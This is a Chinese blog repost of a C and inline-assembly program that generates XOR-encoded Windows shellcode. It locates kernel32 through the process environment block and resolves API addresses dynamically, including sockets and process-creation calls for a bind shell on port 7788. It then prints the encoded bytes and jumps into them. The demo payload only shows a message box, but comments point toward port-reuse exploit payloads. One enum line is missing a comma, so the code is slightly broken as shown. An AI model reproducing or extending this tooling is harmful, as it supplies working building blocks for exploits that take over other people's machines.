您的位置:首页 > 运维架构 > Shell

使用C语言编写提取通用shellcode的程序

2012-07-15 23:26 411 查看
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local / Win2003 SP0 Local
注释:我非我[F.S.T]

说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define  DEBUG 1  //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode

//
//函数原型
//
void     DecryptSc();  //shellcode解码函数,使用的是xor法加微调法
void     ShellCodes();  //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
void     PrintSc(char *lpBuff, int buffsize);  //PrintSc函数用标准c格式打印

//
//用到的部分定义
//
#define  BEGINSTRLEN    0x08    //开始字符串长度
#define  ENDSTRLEN      0x08    //结束标记字符的长度
#define  nop_CODE       0x90    //填充字符,用于不确定shellcode入口用
#define  nop_LEN        0x0     //ShellCode起始的填充长度,真正shellcode的入口
#define  BUFFSIZE       0x20000 //输出缓冲区大小

#define  sc_PORT        7788    //绑定端口号 0x1e6c
#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小

#define  Enc_key        0x7A    //编码密钥

#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?
#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?
#define  MAX_api_strlen 0x400   //APIstr字符串的长度
#define  API_endstr     "strend"//API结尾标记字符串
#define  API_endstrlen  0x06    //标记字符串长度
//定义函数开始字符,定位用
#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
__asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{       //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
_CreatePipe,
_CreateProcessA,
_CloseHandle,
_PeekNamedPipe,
_ReadFile,
_WriteFile,
_ExitProcess,

//WS2_32
_WSAStartup,
_WSASocket
_socket,
_bind,
_listen,
_accept,
_send,
_recv,
_ioctlsocket,
_closesocket,

//本机测试User32
_MessageBeep,
_MessageBoxA,
API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
//shellcode中要用到的字符串
static char ApiStr[]="\x1e\x6c"   //端口地址7788

//Kernel32中查找的API函数名称,用来查找函数地址,下同
"CreatePipe""\x0"
"CreateProcessA""\x0"
"CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0"
"WriteFile""\x0"
"ExitProcess""\x0"

//其它@PI中用到的API
"wsock32.dll""\x0"
"socket""\x0"
"bind""\x0"
"listen""\x0"
"accept""\x0"
"send""\x0"
"recv""\x0"
"ioctlsocket""\x0"
"closesocket""\x0"
//本机测试
"user32.dll""\x0"
"MessageBeep""\x0"
"MessageBoxA""\x0"

"\x0\x0\x0\x0\x0"
"strend";

char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串
char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串

char  buff[BUFFSIZE];         //缓冲区
char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲
char  *pDcrypt_addr,
*pSc_addr;

int   buff_len;               //缓冲长度
int   EncCode_len;            //加密编码代码长度
int   Sc_len;                 //原始ShellCode的长度

int       i,k;
unsigned  char ch;

//
//获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
//获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
//部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
//
pDcrypt_addr=(char *)DecryptSc;

//定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
//从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

ch=*pDcrypt_addr;
if (ch==0xe9)
{
pDcrypt_addr++;
i=*(int *)pDcrypt_addr;
pDcrypt_addr+=(i+4);      //此时指向DecryptSc函数的实际地址
}
//找到解码代码的开始部分
for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始
else
{
//显示错误信息
k=0;
printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
return 0;
}

for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

if (k<MAX_Enc_Len) EncCode_len=k;
else
{
k=0;
printf("\nNo End str defined in Decrypt function!Please Check....\n");
return 0;
}

memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充
memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff

//
//处理ShellCode代码,如果需要定位到代码的开始
//
pSc_addr=(char *)ShellCodes;     //定位shellcode的地址

//调试状态下的函数地址处理,便于调试
ch=*pSc_addr;
if (ch==0xe9)
{
pSc_addr++;
i=*(int *)pSc_addr;
pSc_addr+=(i+4);      //此时指向ShellCodes函数的实际地址
}

//如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
/*
for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始
*/

//找到shellcode的结尾及长度
for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
if (k<MAX_Sc_Len) Sc_len=k;
else
{
k=0;
printf("\nNo End str defined in ShellCodes function!Please Check....\n");
return 0;
}

//把shellcode代码复制进sc_buff
memcpy(sc_buff,pSc_addr,Sc_len);

//把字符串拷贝在shellcode的结尾
for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
if(i>=MAX_api_strlen)
{
printf("\nNo End str defined in API strings!Please Check....\n");
return 0;
}
memcpy(sc_buff+k,ApiStr,i);

Sc_len+=i;        //增加shellcode的长度

//
//对shellcode进行编码,算法简单,可根据需要改变
//
k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始

for(i=0;i<Sc_len;++i){

ch=sc_buff[i]^Enc_key;
//对一些可能造成shellcode失效的字符进行替换,即微调法
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff[k]='0';
++k;
ch+=0x31;
}
//把编码过的shellcode放在DecryptSc代码后面
buff[k]=ch;
++k;
}

//shellcode的总长度
buff_len=k;

//打印出shellcode
PrintSc(buff,buff_len);
//buff[buff_len]=0;
//printf("%s",buff);

#ifdef DEBUG
_asm{
lea eax,buff
jmp eax
ret
}
#endif

return  0;
}

//解码shellcode的代码
void  DecryptSc()
{
__asm{

/////////////////////////
//定义开始标志
/////////////////////////
PROC_BEGIN    //C macro to begin proc

jmp   next
getEncCodeAddr:
pop   edi
push  edi
pop   esi
xor   ecx,ecx
Decrypt_lop:
lodsb
cmp  al,cl
jz   shell
cmp  al,0x30  //判断是否为特殊字符
jz   special_char_clean  //是则跳到special_char_clean

store:
xor  al,Enc_key
stosb
jmp  Decrypt_lop
special_char_clean:   //进行微调替换
lodsb
sub al,0x31
jmp store
next:
call  getEncCodeAddr
//其余真正加密的shellcode代码会连接在此处
shell:

/////////////////////////
//定义结束标志
/////////////////////////
PROC_END      //C macro to end proc

}
}

//
//shellcode代码
//
void ShellCodes()
{
//API低址数组
FARPROC     API[API_num];

//自己获取的API地址
FARPROC     GetProcAddr;
FARPROC    LoadLib;

HANDLE      hKrnl32;
HANDLE      libhandle;

char        *ApiStr_addr,*p;

int         k;
u_short     shellcodeport;

////////////测试用变量
char        *testAddr;
//////////////////////

//这里是网络函数的变量定义,实际编写shellcode时可以使用。
/*
STARTUPINFO siinfo;
WSADATA     ws;
SOCKET      listenFD,clientFD;
struct      sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(sc_PORT);
server.sin_addr.s_addr=ADDR_ANY;
int         iAddrSize = sizeof(server);
int         lBytesRead;
PROCESS_INFORMATION ProcessInformation;
HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
SECURITY_ATTRIBUTES sa;
*/

_asm {
jmp    locate_addr0
getApiStr_addr:
pop    ApiStr_addr

//开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
//以后就可以方便地获取任何API的地址了

//保护寄存器
pushad

xor     esi,esi
lods    dword ptr fs:[esi]

Search_Krnl32_lop:      //搜索kernel32基址
inc     eax
je      Krnl32_Base_Ok
dec     eax
xchg    esi,eax
LODSD
jmp     Search_Krnl32_lop
Krnl32_Base_Ok:

LODSD
;compare if PE_hdr
xchg    esi,eax
find_pe_header:
dec     esi
xor     si,si           ;kernel32 is 64kb align
mov     eax,[esi]
add     ax,-'ZM'        ;
jne     find_pe_header
mov     edi,[esi+3ch]   ;.e_lfanew
mov     eax,[esi+edi]
add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.
jne     find_pe_header

push     esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov     ebx,esi
mov     edi,[ebx+edi+78h]  ;peh.DataDirectory

push    edi
push    esi

mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames
mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals
call    __getProcAddr
_emit 0x47
_emit 0x65
_emit 0x74
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x63
_emit 0x41
_emit 0x64
_emit 0x64
_emit 0x72
_emit 0x65
_emit 0x73
_emit 0x73
_emit 0x0
//db     "GetProcAddress",0
__getProcAddr:
pop     edi
mov     ecx,15
sub     eax,4
next_:
add     eax,4
add     edi,ecx
sub     edi,15
mov     esi,[ebx+eax]
add     esi,ebx
mov     ecx,15
repz    cmpsb
jnz     next_

pop     esi
pop     edi

sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames
shr     eax,1
add     edx,ebx
movzx   eax,word ptr [edx+eax]
add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions
add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr
;用GetProcAddress和hModule来得到其他函数的地址
pop     esi                     ;esi=kernel32 Base

mov     [hKrnl32],esi           //保存
mov     [GetProcAddr],ebx       //保存

call    _getLoadLib
_emit 0x4C
_emit 0x6F
_emit 0x61
_emit 0x64
_emit 0x4C
_emit 0x69
_emit 0x62
_emit 0x72
_emit 0x61
_emit 0x72
_emit 0x79
_emit 0x41
_emit 0x0
//db      "LoadLibraryA",0

_getLoadLib:
push    esi
call    ebx
mov     [LoadLib],eax

//恢复寄存器,避免更多问题
popad
}

//取出定义的端口地址
shellcodeport=*(u_short *)ApiStr_addr;
ApiStr_addr+=2;

//////////////////////////测试用地址
testAddr=ApiStr_addr;
////////////////////////////////////

//利用GetProcAddress来获得shellcode中所用到的API地址

libhandle=hKrnl32;
p=ApiStr_addr;

k=0;
///*
while ( *((unsigned int *)p) != 0)
{
ApiStr_addr=p;
while(*p) p++;   //前进到下一个字符串

if (*( (unsigned int *)(p-4))=='lld.')
{
libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL
}
else
{
API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
k++;
}

ApiStr_addr=++p; //更新指针前进一个字符位置

}

//*/

///////////////////////////////////////////////////////////////////////////
//         下面就可以使用C语言来编写真正实现功能的shellcode了            //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求,只是弹出一个对话框
//这里的函数调用是通过 API[enum](argv); 调用的。这里的enum是指开头定义的枚举
//你可以自己替换以下的代码。推荐使用端口复用然后让你的exp主动连接。
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
//                           shellcode功能部分结束                       //
///////////////////////////////////////////////////////////////////////////

//死循环
die:
goto die;
__asm
{
locate_addr0:
call getApiStr_addr      //5 bytes
//真正的字符串数据要连接在此处

/////////////////////////
//定义结束标志
/////////////////////////
PROC_END      //C macro to end proc

}
}

//
//显示打印生成的shellcode的标准C格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
printf("\"\n\"");
else
printf("\"");
sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf("%c", _tolower(*p));
else
printf("%c", p[0]);
}
}
printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐